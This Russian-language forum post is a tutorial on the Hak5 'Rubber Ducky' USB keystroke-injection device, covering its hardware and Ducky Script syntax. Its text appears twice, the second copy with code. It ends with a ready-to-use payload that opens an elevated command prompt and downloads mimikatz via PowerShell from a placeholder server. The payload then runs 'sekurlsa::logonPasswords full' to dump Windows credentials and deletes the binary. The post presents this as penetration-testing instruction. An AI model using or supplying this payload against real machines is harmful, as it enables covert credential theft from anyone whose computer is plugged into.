U
Underwood
Приветствую уважаемых участников и гостей форума!
В предыдущей части, мы познакомились с USB-устройством "Rubber Ducky" и рассмотрели базовые возможности девайса при проведении тестирований на проникновение, сегодня мы более подробно рассмотрим начинку "Rubber Ducky", освоим синтаксис Ducky Script, напишем первый пейлоад, и проведем простую атаку на реальном примере.
Итак, что же внутри корпуса оригинального "Rubber Ducky" от Hack5:
1. процессор Atmel 32bit 60MHz AVR на базе микроконтроллер AT32UC3B1256 с 64kb flash памятью, 32kb SRAM, скоростью передачи данных 12 Mbps и низким энергопотреблением от 23mA до 3.3 вольт
2. MicroSD card reader, для увеличения пространства внутренней памяти
3. LED-индикатор работы устройства.
4. JTAG интерфейс, который используется преимущественно для hardware-отладки
5. Стандартный USB-коннектор (type A)
Далее рассмотрим особенности и синтаксис Ducky Script - языка для программирования "Rubber Ducky".
Итак, писать скрипты на Ducky Script можно в любом тестовом редакторе, поддерживающим кодировку ASCII, например Notepad, vi, emacs, nano, gedit, kedit, TextEdit, и пр.
Синтаксис элементарен и не требует навыков программирования, каждая команда пишется CAPSом и начинается с новой строки и может иметь несколько параметров, функции большинства команд сводятся к нажатия клавиш клавиатуры/комбинации клавиш, либо вывод текста а также для имитации задержки/паузы во время нажатия клавиш.
Основные команды с примерами использования:
1. REM
Аналогично REM в Basic, строки начинающиеся с REM служат только для комментирования.
2. DEFAULT_DELAY или DEFAULTDELAY
Используется для определения продолжительности ожидания между каждой последующей командой со значением параметров от 0..-> в миллисекундах. В основном используется для отладки, в случаях когда целевой ОС, после подключения нашего девайса требуется время для установки драйверов.
3. DELAY
Используется для пауз при выполнении команд, когда необходимо время для обработки команд на целевой ОС. Время задержки указано в миллисекундах от 1 до 10000. Для создания более длительных задержек можно использовать несколько команд DELAY.
4. STRING
Строка, содержащая последовательность нажатия клавиш клавиатуры, выполняется с возможными параметрами: a...z A...Z 0..9 !...) `~ += _- "' :; <, >. ?/ \
5. WINDOWS или GUI
6. MENU или APP
Команда открывает выпадающее контекстное меню, результат аналогичен клику правой кнопкой мыши/нажатию сочетания SHIFT+F10 в Windows системах
7. SHIFT
Команда используется для навигации и выделения фрагментов тестового содержимого выполняется с возможными параметрами: DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
8. ALT
Команда выполняет функцию клавиши ALT, используется с возможными параметрами: END, ESC, F1...F12, SPACE, TAB и пр. сочетания горячих клавиш в в Windows системах.
9. CONTROL или CTRL
Команда выполняет нажатие клавиши CTRL с возможными параметрами: BREAK, PAUSE, F1...F12, ESCAPE, ESC и пр. сочетания горячих клавиш в в Windows системах.
10. REPLAY
Повторяет последнюю команду n-количество раз.
Для компиляции скриптов, обычно используется кросплатформенная утилита на Java - Duck Encoder, которая конвертирует Ducky Script в hex формат.
Итак, с синтаксисом разобрались, теперь потренируемся и напишем первый пейлоад, и никаких "Hello World", пусть это будет простенький, но все же "боевой" прототип, использующий, хорошо известную утилиту mimikatz для извлечения хешей паролей, а также учётных данных Windows в открытом виде.
Что конкретно должен делать наш скрипт после подключения "Rubber Ducky" к USB-порту цели:
1. Открыть командную строку
2. Загрузить mimikatz с удаленного сервера, используя powershell
3. Запустить mimikatz для извлечения дампа паролей из памяти целевой машины
4. Удалить загруженный бинарник mimikatz, после извлечение дампа
Нам потребуется:
1. Любой вебсервер, чтобы захостить mimikatz для загрузки на цель
2. Hеобходимо обладать правами администратора на целевой машине
Скрипт, конечно же нуждается в серьезной доработке, но все же этот простой пример наглядно демонстрирует возможности языка и потенциал "Rubber Ducky" при проведении тестов на проникновение.
К тому же, большую коллекцию готовых скриптов для разных ОС можно найти по ссылке
В следующей части мы рассмотрим более сложные скрипты, поговорим о примерах использования "Rubber Ducky" в различных атаках из реальной практики.
Благодарю за внимание!
В предыдущей части, мы познакомились с USB-устройством "Rubber Ducky" и рассмотрели базовые возможности девайса при проведении тестирований на проникновение, сегодня мы более подробно рассмотрим начинку "Rubber Ducky", освоим синтаксис Ducky Script, напишем первый пейлоад, и проведем простую атаку на реальном примере.
Итак, что же внутри корпуса оригинального "Rubber Ducky" от Hack5:
1. процессор Atmel 32bit 60MHz AVR на базе микроконтроллер AT32UC3B1256 с 64kb flash памятью, 32kb SRAM, скоростью передачи данных 12 Mbps и низким энергопотреблением от 23mA до 3.3 вольт
2. MicroSD card reader, для увеличения пространства внутренней памяти
3. LED-индикатор работы устройства.
4. JTAG интерфейс, который используется преимущественно для hardware-отладки
5. Стандартный USB-коннектор (type A)
Далее рассмотрим особенности и синтаксис Ducky Script - языка для программирования "Rubber Ducky".
Итак, писать скрипты на Ducky Script можно в любом тестовом редакторе, поддерживающим кодировку ASCII, например Notepad, vi, emacs, nano, gedit, kedit, TextEdit, и пр.
Синтаксис элементарен и не требует навыков программирования, каждая команда пишется CAPSом и начинается с новой строки и может иметь несколько параметров, функции большинства команд сводятся к нажатия клавиш клавиатуры/комбинации клавиш, либо вывод текста а также для имитации задержки/паузы во время нажатия клавиш.
Основные команды с примерами использования:
1. REM
Аналогично REM в Basic, строки начинающиеся с REM служат только для комментирования.
Код:
REM #Следующие 3 строки кода откроют командную строку Windows
GUI r
STRING cmd
ENTER
Используется для определения продолжительности ожидания между каждой последующей командой со значением параметров от 0..-> в миллисекундах. В основном используется для отладки, в случаях когда целевой ОС, после подключения нашего девайса требуется время для установки драйверов.
Код:
DEFAULT_DELAY 100
REM #задержка 100 милисекунд между строками команд delays
Используется для пауз при выполнении команд, когда необходимо время для обработки команд на целевой ОС. Время задержки указано в миллисекундах от 1 до 10000. Для создания более длительных задержек можно использовать несколько команд DELAY.
Код:
DELAY 500
REM #пауза 500 миллисекунд до выполнения следующей команды
Строка, содержащая последовательность нажатия клавиш клавиатуры, выполняется с возможными параметрами: a...z A...Z 0..9 !...) `~ += _- "' :; <, >. ?/ \
Код:
GUI r
DELAY 500
STRING notepad.exe
ENTER
DELAY 1000
STRING Hello World!
Код:
GUI r
REM #команда выполняет нажатие комбинации клавиш Windows+R, чтобы открыть меню "Выполнить"
Команда открывает выпадающее контекстное меню, результат аналогичен клику правой кнопкой мыши/нажатию сочетания SHIFT+F10 в Windows системах
Код:
GUI d
MENU
STRING v
REM #переключение на рабочий стол, открытие контекстного меню и выберите команду действия v
Команда используется для навигации и выделения фрагментов тестового содержимого выполняется с возможными параметрами: DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
Код:
SHIFT INSERT
REM #команда выполняет функцию "Вставить" для Windows систем
Команда выполняет функцию клавиши ALT, используется с возможными параметрами: END, ESC, F1...F12, SPACE, TAB и пр. сочетания горячих клавиш в в Windows системах.
Код:
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s
REM #команда выполняет нажатие комбинации клавиш ALT+f и сохраняет полученый результат
Команда выполняет нажатие клавиши CTRL с возможными параметрами: BREAK, PAUSE, F1...F12, ESCAPE, ESC и пр. сочетания горячих клавиш в в Windows системах.
Код:
CONTROL ESCAPE
REM #команда открывает меню "Пуск" в Windows
Повторяет последнюю команду n-количество раз.
Код:
SHIFT INSERT
REPLAY 100
REM #команда выполняет функцию "Вставить" 101 раз
Для компиляции скриптов, обычно используется кросплатформенная утилита на Java - Duck Encoder, которая конвертирует Ducky Script в hex формат.
Итак, с синтаксисом разобрались, теперь потренируемся и напишем первый пейлоад, и никаких "Hello World", пусть это будет простенький, но все же "боевой" прототип, использующий, хорошо известную утилиту mimikatz для извлечения хешей паролей, а также учётных данных Windows в открытом виде.
Что конкретно должен делать наш скрипт после подключения "Rubber Ducky" к USB-порту цели:
1. Открыть командную строку
2. Загрузить mimikatz с удаленного сервера, используя powershell
3. Запустить mimikatz для извлечения дампа паролей из памяти целевой машины
4. Удалить загруженный бинарник mimikatz, после извлечение дампа
Нам потребуется:
1. Любой вебсервер, чтобы захостить mimikatz для загрузки на цель
2. Hеобходимо обладать правами администратора на целевой машине
Код:
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://ip_сервера_с_mimikatz/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
К тому же, большую коллекцию готовых скриптов для разных ОС можно найти по ссылке
Ссылка скрыта от гостей
В следующей части мы рассмотрим более сложные скрипты, поговорим о примерах использования "Rubber Ducky" в различных атаках из реальной практики.
Благодарю за внимание!
Последнее редактирование модератором: